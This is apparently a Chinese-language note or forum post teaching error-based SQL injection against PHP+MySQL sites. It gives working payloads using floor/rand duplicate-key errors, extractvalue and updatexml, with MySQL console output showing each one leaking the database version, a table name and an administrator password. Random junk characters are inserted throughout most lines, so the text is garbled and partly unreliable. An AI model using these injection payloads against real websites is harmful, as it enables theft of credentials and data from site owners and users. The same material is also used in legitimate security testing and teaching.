放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
2 V: e4 d% p" g. ?& W实际测试环境:
9 M6 {) M# O- E& K
! |- S, V9 m3 \" G: @ : b3 E0 n! [( W3 ?( [
mysql> show tables;7 j4 I; ?# F" k3 V* c, ] v7 B
+----------------+4 \! E N3 F; `" P5 ~ U0 i. M
| Tables_in_test |
9 H; K" l& g; o) N7 t+----------------+9 ?2 [& v! n& U
| admin |/ W: \9 C: Z* R5 U- y
| article |
o: R6 K1 u/ e2 `+ V* A5 E: f u( `! ~+----------------+) w5 ?+ B b+ K: B
8 Q j! |2 B7 [7 z
: {0 v* F5 j! ~' e
: Y+ v# L$ ]( a4 D% D7 X* _mysql> describe admin; x! Y; q {7 p q8 x# j2 W" H
+-------+------------------+------+-----+---------+----------------+, ^) B2 t- A3 {5 V9 x, k0 [- a/ \; l
| Field | Type | Null | Key | Default | Extra |
( t; L6 B1 \: K9 w+-------+------------------+------+-----+---------+----------------+
- L; R& ]$ r5 H$ y) B1 ^| id | int(10) unsigned | NO | PRI | NULL | auto_increment |5 s6 G" T& ^+ A' C7 t
| user | varchar(50) | NO | | NULL | |$ [1 w/ S E2 ?0 p# c; Y
| pass | varchar(50) | NO | | NULL | |- |3 C/ _' ^! o
+-------+------------------+------+-----+---------+----------------+, y* D, o3 s4 h4 u. _; P" x* _
/ Z- k. k! P: ?
7 U5 o; D, @; ]' b8 K0 _- [" _5 ~
; }" X. l( ~$ K1 q7 j$ X9 Imysql> describe article;0 l2 R. _/ H s5 D3 U( `" [
+---------+------------------+------+-----+---------+----------------++ ?& z9 n) N) l
| Field | Type | Null | Key | Default | Extra |
& ~& W: I* |! D7 D$ M+---------+------------------+------+-----+---------+----------------+. Q7 ?1 ^: o. j9 e# p
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |! E0 Q" E! {' s# J
| title | varchar(50) | NO | | NULL | |. G1 s3 B) D# l# ^2 E9 |
| content | varchar(50) | NO | | NULL | |
; I- _- k# ]' P- ~/ I+---------+------------------+------+-----+---------+----------------+
5 C7 X1 c) t/ G8 H1、通过floor报错0 p. X; h6 E; M" t8 E5 G
可以通过如下一些利用代码
, p& P# I) q/ y5 m# f2 k
7 Z% [ [, D: q- W , v1 ]: U& @/ M- x }
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x, z0 l9 L$ {+ @: R) [9 T% ?+ b
from information_schema.tables group by x)a);
/ j7 _( w. m! M - D2 `# {/ B% f% a" n2 a% G* J8 t# _
) y$ d: e# g, a' {0 `( V
and (select count(*) from (select 1 union select null union select !1)x6 c( j( G5 i0 h3 P' T* m( h
group by concat((select table_name from information_schema.tables limit 1),
5 H4 ~- ]8 s7 ^( E `floor(rand(0)*2)));4 x' W0 f8 c$ c! h
举例如下:0 p" l6 i/ q" _2 ]
首先进行正常查询:
- Z9 h( v M4 v" s5 }7 U) T f }, Q( s, q% e6 R' j" I" c* ~
mysql> select * from article where id = 1;
) `% f. S5 E8 ?+ d+----+-------+---------+
% \( Z" D }( N0 f) t+ X9 f7 t2 I/ R; \| id | title | content |, ^, u1 \! Q! Y( B8 q
+----+-------+---------+0 e5 r* [4 J4 J" k7 _* e Z" ^
| 1 | test | do it |, B3 ~) I6 r- k9 Q5 n7 E
+----+-------+---------+
; f+ x- D' Y5 i `. M6 @假如id输入存在注入的话,可以通过如下语句进行报错。: F2 h" n& U& q9 y3 y& u* {$ p
1 _& m+ _" a1 _% p* u$ _# Y( ~
6 p5 R' V! n3 h# J% c" B& E. Y2 Smysql> select * from article where id = 1 and (select 1 from6 H1 j& q% ~* e+ _* k
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
* ^: f9 r# X2 T9 ]' WERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
' l6 R/ z4 o8 J2 m' ?) d2 s1 s可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。! f1 Y3 O& k3 E4 x
例如我们需要查询管理员用户名和密码:
- Z4 }, E {7 \- p2 `7 G; K( G" \/ o( gMethod1:
% O' E' g5 i; d* @6 I _
* `$ k% v( {0 O. J) W7 G8 @
) K7 X9 @" b) j* t7 n) m: `mysql> select * from article where id = 1 and (select 1 from
1 |% K) E* c: ?. r9 A: G(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x9 X# q! q* l2 u* O+ {1 C
from information_schema.tables group by x)a);
+ |; R; \2 F$ o# F9 RERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'! P- n' G1 t3 t s1 O
Method2:
9 ~3 b9 o, J! h1 h/ b6 i
! w7 d+ l J7 Y7 j: q
0 p9 i' K: P2 ~# ~& S3 U$ r- S2 s) dmysql> select * from article where id = 1 and (select count(*)! S5 R3 E, P: d( {# O
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),0 B' |2 T+ ^$ c. X+ l4 `
floor(rand(0)*2))); G" ]! C. J- W0 l6 g+ i# b( x
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' L B& [) K9 t4 K/ P
2、ExtractValue
6 h0 w/ G b0 E1 p7 Z8 m$ \测试语句如下
& I3 T; e6 ^/ K9 t+ T$ Y7 C) W+ V* Y # V; @: ^+ Z. s
+ r3 y# Q5 v6 O0 P" [8 o4 R
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
/ X. E7 Z( o6 z9 g: D实际测试过程
# `' \* J- s8 W% z0 P 4 e6 `/ p3 _$ j3 ^9 S: `( w
" l5 D$ ~0 j, X; @# ^
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
! `: i9 p, z" X" f8 m) a(select pass from admin limit 1)));--* v3 C) `1 z3 R( n) V6 r1 T
ERROR 1105 (HY000): XPATH syntax error: '\admin888'( R' N9 i; B; i* J# u! F" U
3、UpdateXml
6 v7 `1 R; ?' m3 C$ s测试语句
, ]2 p" z- i9 K. z % f1 x* [ E. Z/ B+ }$ G$ s U, r
' V, B0 |- _& i
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
; C7 J/ M i" P d实际测试过程1 h+ S! b( n, W6 |! H6 K, f
2 O. G* |( H0 X8 C
1 N; D$ i; L# Y8 w! }
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 `) s& k" o; s/ ^(select pass from admin limit 1),0x5e24),1));
* b! I# j7 }; d, P! {1 BERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'' n R3 T9 S- Q# v( ~
All, thanks foreign guys.- X1 T0 z. d" o/ ^; p
- ?! N [$ i: L8 ~
0 G, P& O/ Z! l: b |